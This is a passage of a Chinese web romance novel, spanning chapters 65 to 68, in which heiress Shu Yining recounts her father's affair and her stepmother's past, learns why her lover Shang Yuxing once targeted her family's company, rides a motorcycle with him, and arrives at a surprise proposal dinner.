楚江野一个人喝了会儿酒,倏然道:“找个时间一块儿喝个酒,让以宁把她和夏夏那个小圈子的亲近朋友都叫上。都成两对了,正好一道碰个面,都是朋友。” 那不就是秦延昭,王樾,还有楚思然。 “好啊。”邢南一口应承下来,掐灭了演,抬眸看他,又恢复了那副笑眯眯的欠揍模样:“不过你和你妹,不尴尬?” 毕竟楚江野家和楚思然家简直可以用老死不相往来这个成语来形容了。 “都是上一辈和上上辈老爷子们的恩怨了,我不想再讲究这些,思然也不像墨守成规的人。”两个人身体里或多或少留着点相同的血,长辈们不过因利益分配起的萧墙,他们堂兄妹之间就没必要跟有什么深仇大恨似的。 楚江野周五就要回北京,两伙人周四晚上在R&F攒局碰了个面。舒以宁自然没喊秦延昭,用“老秦有工作过不来”为借口搪塞了过去。 都是H市上层圈子里的人,以往也不是没见过,算不得生疏,几句话后就都热络了起来。 “我是真没想到你俩能走到一起,来,碰一个,百年好合。”楚江野笑着拿起酒杯碰了碰许夏天跟前的那杯软饮。 “谢谢江野哥。”许夏天眉眼弯弯地笑着,伸手拿了个空着的岩石杯,倒了一点点威士忌,接着拿起酒杯朝楚江野道:“收了江野哥的祝福,我怎么着也得敬一杯了。” 楚江野知道她一向不喝酒,徒然笑了笑,再度与她碰杯:“嗯,好,夏夏够爽快!” 许夏天正要喝,眼前突然出现一只骨节分明的大掌,不由分说地将她手中握着的酒杯拎走了。她随着这只手转过头看向它的主人。 邢南仰头将她杯中那点薄酒一饮而尽,而后拍了拍她脑袋,低声哄道:“喝饮料,听话。” 他看过来的眸色很深,在晦暗不明的灯光中,显得柔情似水。 许夏天双颊一红,捧起面前的软饮低头喝了两口。 王樾见状,也一把夺过楚思然手中的酒杯。 楚思然猝不及防,愣了下,不明所以地朝他递过去一个“你是不是想死”的眼神:“你干什么?” 王樾有样学样,拍了拍她的脑袋,自以为十分温柔地说:“喝饮料吧,楚楚,听话。” 楚思然:“……” 楚江野:“……” 他把脸侧到楚思然这边,用酒杯指了指王樾,问:“这小子在追你?” 楚思然面无表情地夺回自己的酒杯,说:“没有,他时不时就犯病,跟谁都犯。” 这话不假,舒以宁早就见怪不怪了,笑着补充道:“江野哥,你要是见过王樾和夏夏吵架的样子,说不定还会误以为他们两个是对欢喜冤家。” 许夏天忙抬起头,也进行一个补充:“他以前还说要给以宁当狗。” “放你狗屁!”王樾听不下去了,拿起桌上那个属于他的酒杯,重重砸了一下,梗着脖子反驳:“是我哥说我的好不好,我才不会给你们任何一个人当狗呢!” 楚江野不由失笑,整个人往后重新靠回沙发里,看着他笑道:“你和你哥还真是完全不一样啊。你哥和阿行一个类型,你倒是比阿南还幼稚得多。” 邢南没想到这都能中枪,他虽不介意,但也还是笑着回了句:“哎哎,瞎埋汰我什么呢。” 舒以宁等人自然没有见过他幼稚的一面,只当楚江野是故意调侃他好给王樾一个台阶下。 商聿行勾了勾唇角,拇指在舒以宁唇角摩挲,淡淡道:“和王荆还有过故事?” 他另一只手臂搭在沙发靠背顶部边沿,望过来的眼神中似有温柔星火,睫毛微微低垂,却遮不住眸中藏着的暗涌。 众目睽睽之下,舒以宁啪一声拍开他的手,清了清嗓子,瞪他:“有没有故事你还能不清楚?” 以这狗东西的占有欲,恐怕早就把她过往那些调查得清清楚楚了。 邢南“啧”了一声,叹道:“这都给阿行手背都打红了,还是我们夏夏好,可爱又体贴。”说着,就一把将许夏天拉进了怀里。 这天过后,楚思然又拉了个群,群里有秦延昭、舒以宁和王樾。 她在群里发:[老秦,不管你和夏夏以后还能不能做朋友了,我们几个都还是朋友。] 舒以宁跟着发:[楚楚说得对,我们永远是朋友,有事第一时间联系我们。] 王樾接着发:[对,这么多年的好兄弟下来了,以后也都还是好兄弟。] 秦延昭到了晚上才回:[好。最近工作压身,等我赶完手头的通告,一块儿喝酒。] 他回完群里的消息,退到最新联系人的界面,垂眸看了会儿邢南的微信头像,才按灭手机屏幕。 横店的夜晚很亮,不远处大灯照得灯火通明,剧组还没收工。 助理走过来,低下身子说:“昭哥,小裴总那边气还没消。Andy哥让您明天飞一趟北京亲自登门赔罪,您看要是没什么问题,我就先订票了?” 秦延昭去年上半年就打好了退圈的主意,但他的合约还有三年才能到期。裴照同意与他置换,要求就是带肖寂。眼下麦麸CP热度炒得正高,他这边就因意外掀了桌,裴照那头自然不爽。 秦延昭掐灭烟头,蹙眉道:“赔什么罪?肖寂不是已经起来了?” 这把CP粉提纯都顺利提到他那边去了,不正是他们想要的结果? 助理叹了一口气,劝道:“小裴总那边您还是去一趟吧,Andy哥说他脾气不好,指不定要发什么疯。” ** 回世纪城的路上,路过银泰时,舒以宁望见了裸眼3D电子屏上播放的广告。 是一个当红流量男明星代言的一款CHANEL香水,她在广告片中看到了一闪而过的楚桑桑。 看来后者的事业确实有了点起色。 等洗完澡躺在床上,舒以宁脑海中还记着那段一闪而过的广告片。 商聿行从浴室出来,浴袍宽宽松松套在肩宽腰窄的身架子上,没系腰带,露出一大片肌肉紧实的好春色。 舒以宁靠在床头,没注意到他的勾引。 于是,商聿行坐上来,大掌摸了摸她的头发,问:“有心事?” “我今天看到楚桑桑了。” “嗯?” “不是真人,看到了她的广告,就在我们回来的路上。”舒以宁很难形容她对于楚桑桑到底是一种怎么样的感情。 讨厌么? 当然讨厌了。 但好像,也并没有那么的讨厌。 商聿行抱着舒以宁的脑袋,将她带入怀中,垂眸温声道:“我知道她是你父亲后娶的妻子。你想和我聊一聊关于她的事情吗,以宁?” 他看得出来,她这会儿有点陷入了情绪的泥沼里。 他愿意做她的倾听者。 舒以宁点点头,回忆起来:“楚桑桑和我父亲在一起的时候,我才十八岁半吧。” 她那时候年纪小,心性不稳,从朋友那儿听说她父亲找了个只比她大五六岁的小明星在谈恋爱,一时间有些难以接受,甚至还跑到舒住总裁办去闹了一通。 也是那个时候,父亲向她承诺,绝不再娶。 过了没两天,楚桑桑就这么找上了门来。 她告诉舒以宁,你爸爸很早以前就在外面有了人,生了个儿子,私生子今年已经十一岁了。 那个女人叫陆静萍,是你爸爸的初恋,青梅竹马—— 作者有话说:准备收一下尾,然后再虐一下商聿行,就结局啦 第66章 楚桑桑说:“舒小姐,我是来向你投诚的。只要你愿意接受我,我会永远都站在你这边,我发誓。” 那个时候舒以宁还在国外读书,放假回来没多久,冷不防听到父亲有个十一岁的私生子时,一时间难以接受。 十一岁。 这意味着,舒跃章在她母亲舒芃锦还在世的时候,就已经和那女人厮混不清了。 出轨这两个字,在上层圈子中屡见不鲜,因商业而结合的夫妻多的是婚外各玩各的。 但舒跃章,是入赘的舒家。 他从一个一穷二白的农村学生,通过婚姻的借力,走上了人生巅峰。他继承来的公司舒住,更是由他岳父舒沣一手创立,为他扫清障碍后交到了他的手上。 而他,出轨了。 就这么出轨了。 还在外面有了个已经十一岁的私生子。 “我当时很无助,我感觉天都要塌下来了。我连夜上了飞香港的航班,去找奶奶……”舒以宁顿了顿,聊到祖母时,眸光不由暗淡下来:“奶奶还在生我的气,拒绝见我。” 她将莫谦旬撩到手,两个月后腻了就又马上和人提了分手,将人家闹得要自杀。也正因为如此,祖母生了很大的气,更是放言要与她断绝关系。 “我是不是一个很没分寸的人?奶奶好不容易找到了新的幸福,差点因为我就要破灭。”不过好在,祖母的感情生活很稳定,不然她真是万死难以谢罪了。 商聿行正要开口安慰,舒以宁就已经笑盈盈抬起脸:“好在奶奶似乎很喜欢你,我和你在一起,她好像都觉得我改邪归正了!” 商聿行弯了弯唇角,说:“嗯,所以改邪归正的舒小姐,为了奶奶,你得一直正着。” “你这是道德绑架。” “我是有理有据。” “道德绑架!” “嗯,绑架你了。”商聿行从善如流,说着,就伸手扼住了她的手腕。 舒以宁忙拍开他的手,斥道:“我还没说完呢,你别动手动脚。” “奶奶虽然没有见我,但让莫谦旬——你见过的,就是奶奶现在的孙子,我的前任,带给了我一句话。”舒以宁提起莫谦旬时,脸上闪过两分愧疚的神色。“她告诉我Raymond是我爷爷的暗棋,可以为我所用。” 只是,她一个手无缚鸡之力的纨绔大小姐,又能用什么呢? “后面我就飞回来了,去找了Raymond。他那个时候已经被我父亲提拔到手底下工作了,他劝我冷静,不建议我和我父亲撕破脸。其实我自己早就想明白了,以我当时的能力,找舒跃章把话摊开了说,也就只是以卵击石,说不定还会弄巧成拙——万一他一不做二不休,想着反正也被我知道了,索性就肆无忌惮把私生子认进家门。” 舒以宁缓缓吐出一口气,继续说:“所以,我选择和楚桑桑结成同盟,接受她嫁给我父亲。”那么这样一来,陆静萍就只能永永远远做个见不得光的小三,那个私生子也得不到他不该有的名分。 商聿行久经商场、阅人无数,其后的事情他大概可以猜到一点:“楚桑桑能如愿嫁给你父亲,至少得有你父亲的首肯。我猜,她在找你谈判前就已经怀孕了,但她对你隐瞒了这件事。” 否则,舒跃章不一定会想娶楚桑桑,哪怕她年轻、漂亮。但对于他这样的人来说,利益才是永恒的主题。所以就只有一个可能—— 楚桑桑本身就已经怀上了他的孩子,并且大概率已经去香港验过了性别。 这段婚姻,能让他名正言顺地拥有一个儿子。 舒以宁笑了笑:“可惜那时候没能和你谈上恋爱,不然有你给我分析,我哪会轻易着了她的道。” 商聿行猜得没错,楚桑桑就是怀着孩子嫁给舒跃章的。他们很快就领了证,没有办婚礼,婚后过了两个月,楚桑桑逐渐显怀了。 彼时,舒以宁将矛头对准舒跃章,新仇旧恨压得她快喘不过气来。她质问舒跃章:“你是不是结婚前就知道她怀孕了?你就是因为她怀孕了才娶她的吧?你就这么瞒着我,享受看我和她亲亲热热当好闺蜜的样子吗,爸爸?” 舒跃章全然不知楚桑桑找舒以宁谈判的事,只当这段日子舒以宁愿意时常飞回国带着楚桑桑到处参加圈子里的聚会和晚宴,不过是因为她两人投缘。 他安抚女儿:“难得你和桑桑投缘,聊得来,就不要为了一个还没出生的孩子伤了和气。这样,只要你开口不要这个弟弟妹妹,我就带桑桑去打掉。” 舒以宁没有中他道德绑架的圈套,一瞬不瞬地盯着他,说:“好,那你去打掉。爸爸,这是你提出来的,别把杀人的帽子扣到我的头上。” 舒以宁没有忘记,她眼角余光扫到楚桑桑顷刻间无声掉下眼泪的那一刻。 在那一刻,兴许她见识到了舒跃章的绝情,也确信他会真的要她打掉这个孩子。 “我承认当时我是有点情绪上头,但最后,我也说不清楚到底是对楚桑桑,还是对那个没出世的孩子,动了恻隐之心。我想反正我爸爸在外面都有了这么大一个私生子了,再多个孩子也没什么差别。”舒以宁讲到这里,停顿了好一会儿。 她从未向人提起过—— 楚桑桑默默落泪的那个样子,像极了她过世的母亲。 后来,舒以宁就飞回伦敦继续学业,没多久就听说了楚桑桑因意外不幸流产的消息。 “我听家里的阿姨说,是她自个儿下楼梯的时候踩空了,送去医院,孩子没能保下来。她也伤了身体,一直都在休养。” 舒以宁说不清自己到底对楚桑桑是怨怼更多一些还是同情更多一些:“你看,她处心积虑,倒头来还不是竹篮打水一场空。” 商聿行不擅长安慰人,想了想,说:“每个人都理应为自己的选择而负责,这是她的因果,你不用想太多。” 舒以宁:“我知道我爸爸跟她签了婚前协议,相较于陆静萍……舒跃章在财产方面,没有给她多少保障。” 提到陆静萍时,舒以宁忍不住直接用全名称呼她那个靠妻子上位却又婚内出轨的父亲。 商聿行说:“我做过调查,你父亲的资产没转移出去多少。” “我知道,只卖了套三亚亚龙湾的别墅,拿着两千万就出国了。”加上现金流和其他一些小资产,不会超过三千万。 商聿行低头亲了亲她的发顶,温柔道:“你父亲还是想把大部分资产留给你。” “谁知道呢。谁知道他究竟是想留给我,还是怕带多了容易被人觉察。”舒以宁转回头,看着男人近在咫尺的英隽脸庞,笑道:“商聿行,你说当初你要是答应了我的追求,那该有多好?我就不用面对后来这些事了。” 商聿行缓缓开口,语气很淡:“是你移情别恋。” 舒以宁将目光定格到他清隽不可方物的脸上,瞪着他控诉道:“明明是你商总一怒伏尸百万,竟然要把我们舒住搞垮!” 商聿行轻轻一笑,双眸对上她水润澄澈的明眸,又重复了一遍:“以宁,是你移情别恋。” 四目相对,仿佛boom一声炸裂,火花四散开来。 过往细碎的时间线被抽丝剥茧,蛛丝马迹露了出来。 “商聿行,你不会那时候就喜欢我了吧?”舒以宁不由大胆猜测。 商聿行看着她,眸色沉静。 他的喜欢,明明从来都是如此得拿得出手。 那就不想再归于沉默。 也要与她一般,明目张胆,不再掩饰。 舒以宁惊讶极了,瞬间想明白了许多事:“所以你那时候对我的打击报复……是因为以为我玩弄了你的感情?以为我刚跟你告白,马上就移情别恋喜欢上别人了?” 商聿行语气清冷平稳:“不是么?” 聊到不愉快的往事,他的棱角透着沉着而严肃的冷峻,简直诱人得要命。 舒以宁蹦跶两步上前,坐到他腿上,双手自然而然地环住他颀长的脖颈,忍不住大笑:“商聿行,商聿行。” 她只是叫着他的名字,一遍又一遍地叫,叫到自己都几乎要笑出眼泪来。 商聿行不知她究竟在笑些什么。 他只是纵容着她,微微抬眸,唇角也收到了她喜悦的感染,轻轻上扬。 接着,他伸手捏住她精致的下巴,稍稍往上一抬,面朝着自己。 低头吻了下去。 舒以宁偏头躲开,笑道:“你先听我说,商聿行。” 于是,她便将当时自己强吻他之后如何如何害怕,又如何如何与许夏天卧龙凤雏凑一块儿立马找到了周嘉皓这个纨绔子弟,以及如何如何快速和周嘉皓混成了情侣以表自己绝对不敢对他商大总裁抱有丝毫觊觎之心的整个心路历程。 “你要不说,我到今天都还觉得当初你突然愿意高抬贵手放过舒住,是我利用周嘉皓到处秀恩爱的好谋略起了作用。” 说完,舒以宁一言以蔽之:“我觉得这件事要怪你。” 商聿行刚听完数年前这桩啼笑皆非的旧事,沉浸在一时难以形容的情绪之中,闻言,敛眸浅笑:“嗯?怎么又怪起我来了?” 舒以宁理直气壮:“你喜欢我,你就不能直白点吗?就,就,霸总一点,就像我父亲出事后这样子,你就不能早一点来这么一套??” “嗯,我的错。” “当然是你的错,都怪你!狗东西!” “那这五年,我是不是该讨回来?”商聿行轻而易举将她转了个身,“躺好。” 舒以宁扑腾了几下,使劲去踹他。 随即就被镇压了下去。 夜色似水,勾勒出一个又一个难舍难分的夜晚。 翌日,舒以宁与对接的传媒公司开了个会,商讨宣传矩阵搭建事宜。 好在狗东西虽然狗,抓着任何一点由头都要折腾把她一番;但终究还是把握着分寸,没耽误她起来上班。 和传媒公司这边对接完,舒以宁又回西岸待了会儿。她在西岸的工作性质向来都不是坐班制,手头今天暂时没其他工作,于是就跑来了商盛。 总裁办秘书处的工位还给她留着。 舒以宁给大家点了下午茶,问起最近有没有新八卦。 刚聊了没几句,肖岳来了。他见舒以宁在,就在秘书处门口敲了敲开着的门,笑眯眯打招呼:“舒小姐今天也在呢。” 商聿行还在开会,会议途中给肖岳打了个电话要求他十分钟后到总裁办汇报行政整改工作。涉嫌受贿的高管陆杨明以前就是在商盛总部的行政部门工作,牵涉甚广。 肖岳正好空闲,就提前过来候着。 舒以宁站起来笑着回了个招呼:“肖总。” 肖岳扬着唇角,眼睛很亮:“舒小姐客气了,喊我肖岳就好。” 舒以宁拿起桌上的一份咖啡与甜品,提步走到门口给他,笑道:“多点了一份,还望肖总不要嫌弃。” “多谢。”肖岳接了过来。 二人进了旁边的会客厅,等肖岳喝了口咖啡并且开始一边吃小蛋糕一边夸赞时,舒以宁笑吟吟道:“我也觉得很好吃呢,本来多的这份是给商聿行准备的。” 肖岳手中的叉子差点叉到自己脸上:“……” 肖岳不免扶额失笑,叹道:“舒小姐,我好像没有得罪您吧?” 舒以宁顿时扑哧笑出声,“你别紧张,吃了又不会怎么样,我就说没给他点。肖总,我是真的很想谢谢你,谢谢你一直帮我。” 她没有忘记去年她来商盛找商聿行时,总裁办外肖岳那一句好心的提醒。 肖岳明白她指的是她与商聿行之间感情上的事,笑着回道:“能为总裁和舒小姐效些许犬马之劳是我的荣幸。” 他接着说:“想必这些日子相处下来,舒小姐也已经能看得出来总裁是个面冷心热的人。这几年,我看得出来总裁心里头从来没有放下过舒小姐。” 舒以宁半开玩笑半埋怨:“还不是他活该。他五年前要是直接告诉我他也对我有好感,还用得着这样?” 肖岳微微一怔:“舒小姐不知道总裁的意思?” 肖岳告诉她:“五年前那次,在您和您父亲舒总一起来商盛见总裁之前,您父亲的助理宋正阳陪着您父亲来过一次。” 这件事舒以宁是知道的,但肖岳接下去说—— “我当时只是个助理,又有总裁对您的那份心思在前,有些话我不好直接向您父亲开口。因此,我就找到了宋正阳这边。我告诉宋正阳,总裁对舒小姐有这个意思,既然舒小姐招惹了我们总裁,那么只要她立马和周嘉皓断掉,舒住这件事就还有转圜的余地。” 第67章 “所以,你半个月没来公司,”宋正阳平静地看着舒以宁,一脸淡然地问她,“一来,就是为了质问我这点小事?” 舒以宁盯着他的眼睛,语气冷硬:“你当初到底为什么不告诉我?” 宋正阳看向她时,眼神不躲不闪,没有半分的波动:“以宁,现在纠结这些,还有什么意义吗?” “你明明知道我那时候喜欢商聿行……” “所以呢?你有没有想过当年你要是委身于他,今天你又会怎么样的一副处境?” 舒以宁被他话里“委身”两个字狠狠地刺到了。 她眸光一顿,半张开的嘴巴动了动。一张瓷白的脸,像是被风吹皱的春水。 手按在办公桌的边缘,指节微微发白,仿佛在极力克制着什么 她明明什么都没说,宋正阳却已经感受到了她的情绪波澜。 宋正阳向她道歉,为自己的不当措辞,对她说对不起。 舒以宁摇摇头,“这句话你想说很久了吧?还有什么话,你干脆都说出来。” 宋正阳却沉默下来。 舒以宁并不想沉默,缓缓开口:“你想说我色令智昏,想说我只顾当下、没远见,想说我未来要是脱身不得,活该会被他不知道弄成什么样,是吗?” 舒以宁靠在办公桌上,眼睫毛微微垂下,像是在预见未来难以顺风顺水的人生。 话说到了这个份上,宋正阳也就不考虑什么婉转不婉转的了,微微叹息一声,说:“你愿意跑到他身边去给他做了半年的助理,却不愿意回来舒住好好学一学怎么经营一家集团规模的公司。以宁,很多道理连楚桑桑都懂,你到底还要在你的象牙塔里待到何时?” 舒以宁没说话。 嘴角向下垂着,往下望的眼神也变得有些涣散。 什么都是静默的,没有争执,更没有任何歇斯底里的争吵。只有一种沉重的、几乎能将周围空气都凝固住的沉寂,被无限渲染、放大。 宋正阳看着她这副样子,心里头并不好受,想要出言安慰两句,但又忍了下来。 她总要面对这些。 她总得成长。 “我不知道为什么你明明已经摆脱商聿行了,还要回到他身边去。公司的事情是我无能,但我和你说过的,以宁,他年初的撤资不足以对舒住造成多大的影响。最多两个月,我就能把舒住恢复过来。可是你不相信我,你还是回到他身边去了。” “我和他复合不是因为舒住。”舒以宁抬眸,眸光已经聚焦回来,乌眸清亮:“我和他复合,只是因为我还喜欢他。我本身就喜欢商聿行,如果没有五年前的阻挠,我可能已经和他待在一起五年了。” 现如今,她毫不怀疑自己对商聿行的喜欢程度能让她坚持五年。 舒以宁:“我不像你们,人生意义重大,每天都在那里为了这个目标为了那个目标拼搏努力。我的人生就是没有意义的,我来到这个世界上,就是作为一个‘人’,来存在来体验的。Raymond,你可以批判我,咒骂我,但我不觉得我有什么错。我舒以宁就是这么的庸俗肤浅,这么的无可救药。” 此时此刻,她在剖析自己的同时,也终于明白过来为什么馆长和蓝溪非要等她来主导现代大都会色彩展这个项目了。 诚然,她对于美的追求,她自认为称得上独特的艺术品味,与这个主题相契合。 而她的那些缺点,她个人底色里的肤浅,她所追求的精神独立与在清醒中的沉沦,与这个光怪陆离的现代大都会是多么得吻合。 “我现在不想去担心在我想分开的时候,他如果不愿意要怎么办。这都是以后的事情了,雷霆雨电,也不是我靠躲,就能躲得过去的。”舒以宁考虑了一会儿,还是把最后这句话说出口:“况且我也不想躲。Raymond,我喜欢商聿行,我从来没有这么喜欢过一个人。” ** 舒以宁计划在西岸待到晚上九点钟,她打电话问商聿行:“你来接我下班吗?我还没见过你骑哈雷的样子。” 嗯……物业管家偷拍的照片不能算。 她要看真实的,还要好好摸一摸才行。 ——是要摸穿好机车服的商聿行,不是哈雷。 舒以宁听见商聿行在电话那头不知道对谁吩咐了一声:“七点半的会推到明天。” 舒以宁:“你九点来,七点半开会来得及。” 商聿行低低笑了一声,磁性的嗓音通过电磁波加持,犹如在人耳边厮磨低语:“难得你对我有什么要求,我总要好好满足你。” 他刻意将“好好”两个字咬得比“满足”两个字都要来得及令人面红耳赤。 “嗯,就这样。”舒以宁耳根发烫,匆匆挂断了电话。 晚上八点半,蓝溪敲响了工作间的门。 她穿了条剪裁宽松的碧空色吊带长裙,同色长飘带系在天鹅颈上。举手投足间姿态优雅,唇边抿着淡淡的笑意。 “以宁,还没走吗?” 舒以宁抬起头,露出一个笑:“想在馆里看会儿书。” 她没有问蓝溪怎么这么晚了还在馆里,她对此并不感兴趣,也不想作为开启社交的话题。 蓝溪走近,垂眸看她手上的书。 是DavidMitchell的《云图》。 舒以宁于是递给她,“你想看吗?” “去年你不是在看原文?”蓝溪接过书籍翻了翻,看到了几条红色笔注,“文字风格变化多端,很难翻译出来。你是想从不同的语言角度解构?” 舒以宁只说:“随便看看。” 蓝溪将书重新还到她手上,垂眸看着她的眼睛,喉间轻轻一动:“我知道你想做neoromanticism插画展,但以宁,这个主题立意太大、又太过于小众了。恕我直言,以你目前的水平,不足以把握。” 舒以宁抬头看着她,气势没有半分后退,缓缓笑道:“大都会的展我有在好好做,其他,就是我的自由了。” 蓝溪一只手臂撑在桌子上,身体微微往前,栗色长卷发垂落下来:“当然。” 她眨了一下眼,笑意通过彼此眼眸与眼眸的对视传递给舒以宁:“就像甘心依附商聿行,也是你的自由。” ** 商聿行提前十分钟抵达西岸。 他到的时候,蓝溪已经走了。 舒以宁九点钟准时出来,看到他靠在哈雷上,单手捧着一束奥斯汀花型的杏粉色玫瑰。没戴头盔,前额头发向上抓起,微微蓬松的弧度。 很是清爽干净。 舒以宁冲他跑过去,与此同时,他也离开哈雷,朝着她的方向走来。 “商聿行!” 舒以宁一下子就冲进他怀里,冲击力之大差点把玫瑰花都给撞地上。 商聿行给她准备的是一个与她今天穿搭相配的亮漆面灰色揭面头盔。 舒以宁坐在他身后,紧紧抱住他腰身,在他启动前叮嘱:“你骑慢点,我害怕。” 商聿行微微往后侧头,同款黑色系的头盔中薄唇轻勾:“这就怕了?” 下一秒: “啊————”—— 作者有话说:五年前的事是肖岳私自想通过宋正阳提醒舒以宁,但商聿行并不知道这件事。所以商聿行这边一直以为以宁不知道他有动心,以宁也确实不知道,也算是歪打正着了[奶茶] 第68章 舒以宁听见了风的声音。 它穿过她的身体,穿过她的四肢,从他身上穿到她身上。 开出城市道路,上了山,商聿行又猛然加速了。 舒以宁不由又惊叫了一声,死死抱住他。 “商聿行!你慢一点!” 他在风中笑着喊:“不是你要看我骑?” 尽管如此,他还是慢了下来。 盘山公路曲折回旋,攀附缠绕在山峦之间。 一圈又一圈蜿蜒向上,与风声、悬崖共同催动肾上腺激素的分泌。 舒以宁适应了他慢下来的速度,感受着从未体验过的刺激,扬声高呼:“商聿行,我好喜欢你啊,但我是自由的风。” 商聿行似乎没听清,大声问:“什么?” “我说——” “我是自由的风!” 翻过这座山,到了平缓的赛道内。 车队早就已经在等着。 旁边有一片空地,凳子很多,摆了饮料与水果零食。 商聿行抱舒以宁下车,然后转身走到前面与一同样穿着机车服的男子撞了撞拳头。 那人一笑就露出友善的虎牙,朝舒以宁挥了下手打招呼,问商聿行:“你对象?” “嗯。” “南哥怎么都没来玩?可别和我说他家里不准啊,去年我都撞见他滑雪了。” 商聿行回头看了眼已经找到观看位置坐下来的舒以宁,“陪他女朋友去的,唯一一次例外。” 拉舒以宁一起坐下的女孩儿染着一头红发,笑着和她说:“跟你对象讲话的是我男人,比我小了八岁呢。诶,姐们牛逼不?” 舒以宁这才仔细打量不远处那人,又看了看眼前看不出年纪的女孩,翘起大拇指:“牛逼,他几岁啊?” “二十五,以前是职业运动员,自由泳。后来年纪轻性子烈,跟人起了冲突,成绩又不怎么样,就退役了。”女孩一点不怕揭小虎牙男朋友老底,乐呵呵地全交代了。“哦对了,他那死对头有点小名气,叫池禹望,你听过没?” 舒以宁:“……” 她好像跟小虎牙那死对头谈过。 人齐开赛,都是发烧友,比赛只讲究一个痛快。 赛道比起盘山公路来和缓得多,因此,赛车手们的速度也是加到最大。商聿行又一次冲过舒以宁面前,油门到底,极致压弯,迅速超越前车。 周围起了欢呼声。 最后两圈剩下商聿行与小虎牙缠斗。 不出舒以宁意料,商聿行最终拿下了第一。 舒以宁坐上商聿行的车离开前,小虎牙笑容灿烂地朝她挥手:“嫂子,下回再来玩啊!” 一路驰骋,在被拉长的灯光幻影中,来到了江边。 商聿行停好车摘下头盔,立马就有穿着黑色西服的人走上前接过。舒以宁这才发现后头不知何时跟了一辆丰田埃尔法,Karina从车里下来朝她绽开笑脸:“舒小姐!” Karina很快就带着外套跑到舒以宁跟前,取过她手里的头盔,还要帮她把夹克外套披上去。 舒以宁躲了下,“不用,我不冷。” 一路上在哈雷上疾驰,那风大成什么样了她都没觉着冷,更何况现在就只是江边站站。 Karina扬着笑脸说:“那好吧。我帮二位准备好了烛光夜宵,你们就从这里一路走过去啊,吹吹风很舒服的!走到城市阳台就能享用准备好的烛光夜宵啦!” 商聿行已经脱下机车服,里面是白T速干衣和黑色长裤。他朝她伸出手,淡淡勾唇,眸光深邃又温柔:“走吧。” 舒以宁把手抬起来。 这是他们第一次牵手。 在不知多少次的接吻、doi之后。 夜晚十点多的钱塘江轻风阵阵,光影摇晃。岸边拥挤的钓鱼竿已经撤离,夜跑的人也大多归家了,江道边稀稀散散几个人。 舒以宁想用被牵着的那只手挠挠他掌心,但完全施展不开。 他宽厚的大掌牢牢裹着她的手,攥得不紧,却也松不开。 “今天还满意吗?”商聿行开口问。 舒以宁据实答道:“很不错,体验感拉足。商聿行,你平时经常骑行吗?” “很少骑了,太危险。” 舒以宁拉高了声音:“那你还带我骑这么快?” 他似乎很认真地思考了一下这个问题,而后缓缓道:“殉情也不失为一个美好的结果。” “……疯子。” 商聿行笑了,“我的技术哪有差到这样?” 这点程度,在他这儿完全够不上危险二字。不过,他确实已经不太骑了。 “阿南阿尔卑斯雪崩那次你应当也有听说?自那时候起,不光他家对他,我父亲母亲也不允许我再接触这类危险刺激的项目。”说到这里,商聿行笑了笑,侧过头来看她,眸中染上几分欢喜:“事实上我偶尔还是会偷偷骑,释放一下压力。技术早已经不比从前,今天能赢是他们看你在场,让了我。” 舒以宁好奇:“你以前和邢南一起玩机车?” 商聿行:“大概十年前,我和阿南从拉孜骑到珠峰大本营。” 舒以宁仰着脸,兴致勃勃问道:“有高反吗?” “上去没有,后来从珠峰骑下来骑太快了,到了下面高反了。” “哈哈哈哈哈……没想到你也有这么年轻气盛的时候。” 商聿行跟着笑,垂眸低声道:“以宁,你要容许我在二十岁以前,拥有不知天高地厚的心性。” 路很长,沿岸走了两公里。 路灯将人影拉长,仿佛这一辈都能这么走下去,直到尽头。 前面就是城市阳台了,舒以宁还是不知道如何来给予他安抚慰藉。 商聿行停下脚步,手掌松了松。舒以宁刚想伸回手,就被男人调整后的手掌扣住了。 他强势地插入她的手指间,五指紧扣。 舒以宁看了看几无缝隙的两只手,然后抬头朝他那张骨相优越的脸庞往上去。 商聿行微微挑眉,晃了一下交扣的手:“以宁,不需要安慰我。我想让你看到我是怎样的我,我不确定,你是否会害怕这样的我。” 舒以宁不明白他为何会有这个想法,歪头看着他:“你认为我会害怕?” 嗯……兴起的时候,每每做到后面确实挺害怕的—— 但这个承接这份害怕的体验也足够得刺激与美妙。舒以宁不可否认,虽然她总是拒绝,总是害怕,但其实明明从中获得了在别处从未获得的快乐。 商聿行敛眸,将扣着的手往上移。 他低下头,亲了亲她的手背。 他说:“你看到的,还不是一览无余的我。”说话间的鼻息喷在她手背肌肤上,痒痒的。 舒以宁看着他,眉眼跟着柔和下来:“那让我慢慢来了解你,商聿行。” ** 时近午夜,地处钱塘江最繁华位置的这家西餐厅还未结束营业。这里面积不大,私密性强,又占据夜观江景的好位置,几乎座无虚席。 可能是因为快到十一点钟的缘故,灯光调得有点暗,光线如薄纱般缕缕垂落,将目之所及的一切都镀上了柔和的暧昧色调。 白色桌布上铺就着玫瑰花瓣,复古烛台上燃着烛火,旁边还摆了香薰蜡烛,是大马士革玫瑰与荔枝的花果调甜香,闻起来就像置身清晨的花园。 小提琴手微闭双眼,琴弓在琴弦上温柔游走,悠长的旋律如月光般倾泻。 “商聿行。”舒以宁停下脚步,不再跟着他往里走了。 拉的曲子是《AThousandYears》,她不知道自己是不是多想了。 商聿行已经走到了桌边,回过身,抬眸望向她。 舒以宁不可能没有看过《暮光之城》,恰好也熟悉这首《AThousandYears》。 经典求婚曲。 “我有点困了,我们回去吧。”舒以宁轻轻道。 商聿行走回她面前,低眸凝视着她。 他的眼睛是一片深海,海的深处涌动着温柔的爱意,仿佛天地间他凝望她的分秒中,他只看得见她。 舒以宁看到了自己在他黑色瞳孔中的倒影。 商聿行牵起她的手,拉到唇边,敛眸低下头,轻轻吻在她的手背上。 “以宁,可以给我一个机会吗?” 舒以宁明白在这一刻—— 她猜中了他的意图,他也猜中了她的退缩。 舒以宁转过头看向较远处的那一桌,敏锐地捕捉到了王樾拿着点酒册挡着大半张脸偷偷摸摸瞄过来的目光。 王樾见她看过来,立马欲盖弥彰地把脸埋进了点酒册里。他和楚楚坐在一桌,身型振动了一下,明显就是底下挨了一脚。 舒以宁很想笑,但又笑不出来。 她又望向别的桌。 这个身材,一看就是许夏天,她对面坐着的那个高高的男人背影更是佐证了她的猜测。 这边是秦峥,也是圈子里关系还算不错的人。 这对认不太出来,肯定是商聿行那边比较重要的角色。那么…… 舒以宁脑海中闪过几个人,很快就确定了目标。这对应该是他创业的好兄弟,陈印嘉以及他的夫人。 没想到短短时间,他竟然喊上了这么多人来。 舒以宁不紧不慢地看了一圈,视线回到她跟前的商聿行身上。 她不敢看向他的眼睛,目光定定落在他凸显的喉结上。 